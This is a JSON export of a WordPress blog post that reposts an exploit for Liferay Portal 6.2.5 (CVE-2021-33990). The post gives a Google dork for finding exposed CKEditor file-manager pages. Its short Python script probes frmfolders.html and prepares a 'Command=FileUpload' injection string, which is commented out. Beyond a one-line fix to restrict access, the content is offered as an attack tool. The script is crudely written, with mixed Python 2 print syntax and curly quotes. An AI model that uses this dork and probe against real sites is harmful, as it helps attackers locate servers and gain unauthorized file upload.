# Exploit Title: Liferay Portal 6.2.5 – Insecure Permissions
\n# Google Dork: -inurl:\/html\/js\/editor\/ckeditor\/editor\/filemanager\/browser\/
\n# Date: 2021\/05
\n# Exploit Author: fu2x2000
\n# Version: Liferay Portal 6.2.5 or later
\n# CVE : CVE-2021-33990<\/p>\n
import requests
\nimport json<\/p>\n
print (” Search this on Google #Dork for liferay
\n-inurl:\/html\/js\/editor\/ckeditor\/editor\/filemanager\/browser\/”)<\/p>\n
url =”URL Goes Here
\n\/html\/js\/editor\/ckeditor\/editor\/filemanager\/browser\/liferay\/frmfolders.html”
\nreq = requests.get(url)
\nprint req
\nsta = req.status_code
\nif sta == 200:
\nprint (‘Life Vulnerability exists’)
\ncook = url
\nprint cook
\ninject = “Command=FileUpload&Type=File&CurrentFolder=\/”
\n#cook_inject = cook+inject
\n#print cook_inject
\nelse:
\nprint (‘not found try a another method’)<\/p>\n
print (“solution restrict access and user groups”)<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Liferay Portal 6.2.5 – Insecure Permissions # Google Dork: -inurl:\/html\/js\/editor\/ckeditor\/editor\/filemanager\/browser\/ # Date: 2021\/05 # Exploit Author: fu2x2000 # Version: Liferay Portal 6.2.5 or later # CVE : CVE-2021-33990 import requests import json print (” Search this on Google #Dork for liferay -inurl:\/html\/js\/editor\/ckeditor\/editor\/filemanager\/browser\/”) url =”URL Goes Here \/html\/js\/editor\/ckeditor\/editor\/filemanager\/browser\/liferay\/frmfolders.html” req = requests.get(url) print req …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-39986","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/39986","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=39986"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/39986\/revisions"}],"predecessor-version":[{"id":40119,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/39986\/revisions\/40119"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=39986"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=39986"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=39986"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}